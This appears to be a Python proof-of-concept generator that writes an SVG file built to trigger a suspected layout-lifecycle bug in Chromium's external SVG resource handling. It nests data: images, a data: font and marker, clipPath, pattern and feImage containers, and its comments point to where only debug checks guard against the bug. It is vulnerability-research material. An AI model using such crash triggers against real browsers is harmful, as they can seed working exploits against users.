#!/usr/bin/env python3
"""Generate ext.svg with multiple async-dirtier candidates inside resource
containers (<marker>, <clipPath>, <pattern>, <filter>).

The goal is to find any code path that calls SetNeedsLayout() on a layout
object inside the external resource document AFTER
SVGResourceDocumentContent::LoadingFinished() has run its single
UpdateAllLifecyclePhasesExceptPaint().
"""
import base64
import urllib.parse

# A 1x1 transparent PNG (forces deferred raster decode).
PNG_1x1 = base64.b64decode(
    "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mP8/x8AAusB9Q"
    "Dq6QAAAABJRU5ErkJggg=="
)
PNG_DATA = "data:image/png;base64," + base64.b64encode(PNG_1x1).decode()

# Level-2 nested SVG: contains a data: PNG <image>. This forces the level-1
# SVGImage's IsolatedSVGDocumentHost to go into async-load mode
# (kSizeAvailableAndLoadingAsynchronously) because the data: subresource is
# fetched via a posted task.
LEVEL2_SVG = (
    '<svg xmlns="http://www.w3.org/2000/svg" '
    '     xmlns:xlink="http://www.w3.org/1999/xlink" '
    '     width="333" height="333">'
    '  <image x="0" y="0" width="333" height="333" href="' + PNG_DATA + '"/>'
    '</svg>'
)
LEVEL2_DATA = "data:image/svg+xml;base64," + base64.b64encode(
    LEVEL2_SVG.encode()).decode()

# Level-1 nested SVG: contains an <image> pointing at LEVEL2. No explicit
# width/height on the <image> so its computed object-size depends on the
# nested image's intrinsic size (which becomes available asynchronously).
# Also contains a second data: PNG so its own IsolatedSVGDocumentHost goes
# async too.
LEVEL1_SVG = (
    '<svg xmlns="http://www.w3.org/2000/svg" '
    '     xmlns:xlink="http://www.w3.org/1999/xlink" '
    '     width="50" height="50">'
    '  <image x="0" y="0" href="' + LEVEL2_DATA + '"/>'
    '  <image x="0" y="0" href="' + PNG_DATA + '"/>'
    '</svg>'
)
LEVEL1_DATA = "data:image/svg+xml;base64," + base64.b64encode(
    LEVEL1_SVG.encode()).decode()

# A minimal valid TTF font (so RemoteFontFaceSource::NotifyFinished fires).
# This is a tiny subsetted font that defines glyph 'A'. We embed it as data:
# so the only-data-URLs-allowed rule for isolated SVG documents lets it load.
# (Generated offline; if it fails to parse, RemoteFontFaceSource still calls
# FontsNeedUpdate on error.)
FONT_DATA = (
    "data:font/woff2;base64,"
    "d09GMgABAAAAAAEoAAoAAAAAAhQAAADdAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAABmAAM"
    "AqBNAEoCwYAATYCJAMIBCAFAQcgG1ABEZWqzdk/yLAAAEAgAAAAAAAAAAAAAAAAAAAAAA"
    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
    "AAAAAAAAAA=="
)

EXT_SVG = '''<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg"
     xmlns:xlink="http://www.w3.org/1999/xlink"
     width="500" height="500">
  <defs>
    <style type="text/css"><![CDATA[
      @font-face {{
        font-family: 'PocAsyncFont';
        src: url('{font}') format('woff2');
      }}
      .poc-text {{
        font-family: 'PocAsyncFont', serif;
        font-size: 20px;
      }}
    ]]></style>
  </defs>

  <!-- ========================================================= -->
  <!-- marker: painted via SVGShapePainter::PaintMarker() with NO -->
  <!-- NeedsLayout() guard at all.                                -->
  <!-- ========================================================= -->
  <marker id="m" markerWidth="40" markerHeight="40"
          refX="20" refY="20" markerUnits="userSpaceOnUse">
    <!-- Trigger A: <text> with @font-face data: font. -->
    <text class="poc-text" x="0" y="20">AAAAAAAA</text>
    <!-- Trigger B: doubly-nested SVG <image> with no width/height. -->
    <image x="0" y="0" href="{lvl1}"/>
    <!-- Trigger C: textPath referencing a path that is a target of feImage -->
    <text class="poc-text" x="0" y="35">
      <textPath href="#tp">XXXXXXXX</textPath>
    </text>
    <rect x="0" y="0" width="40" height="40" fill="green" fill-opacity="0.2"/>
  </marker>

  <path id="tp" d="M 0 0 C 10 10 30 10 40 0" fill="none"/>

  <!-- ========================================================= -->
  <!-- clipPath: only SECURITY_DCHECK(!SelfNeedsFullLayout()).    -->
  <!-- ========================================================= -->
  <clipPath id="c" clipPathUnits="userSpaceOnUse">
    <text class="poc-text" x="0" y="40">AAAAAAAAAAAAAAAA</text>
    <!-- <use> is allowed inside <clipPath>; it expands at style-recalc time. -->
    <use href="#shape"/>
  </clipPath>
  <rect id="shape" x="0" y="60" width="200" height="140"/>

  <!-- ========================================================= -->
  <!-- pattern: only DCHECK(!NeedsLayout()).                      -->
  <!-- ========================================================= -->
  <pattern id="p" patternUnits="userSpaceOnUse" width="100" height="100">
    <text class="poc-text" x="0" y="20">AAAA</text>
    <image x="0" y="0" href="{lvl1}"/>
    <rect x="0" y="0" width="100" height="100" fill="orange" fill-opacity="0.2"/>
  </pattern>

  <!-- ========================================================= -->
  <!-- filter with feImage: SVGFEImageElement::ImageNotifyFinished -->
  <!-- calls MarkForLayoutAndParentResourceInvalidation w/       -->
  <!-- needs_layout=true and (unlike <image>) does NOT hold an   -->
  <!-- IncrementLoadEventDelayCount.                              -->
  <!-- ========================================================= -->
  <filter id="f" x="0" y="0" width="200" height="200"
          filterUnits="userSpaceOnUse">
    <feImage href="{lvl1}" x="0" y="0" width="200" height="200"/>
  </filter>

</svg>
'''.format(font=FONT_DATA, lvl1=LEVEL1_DATA)

with open("ext.svg", "w") as f:
    f.write(EXT_SVG)
print("Wrote ext.svg ({} bytes)".format(len(EXT_SVG)))
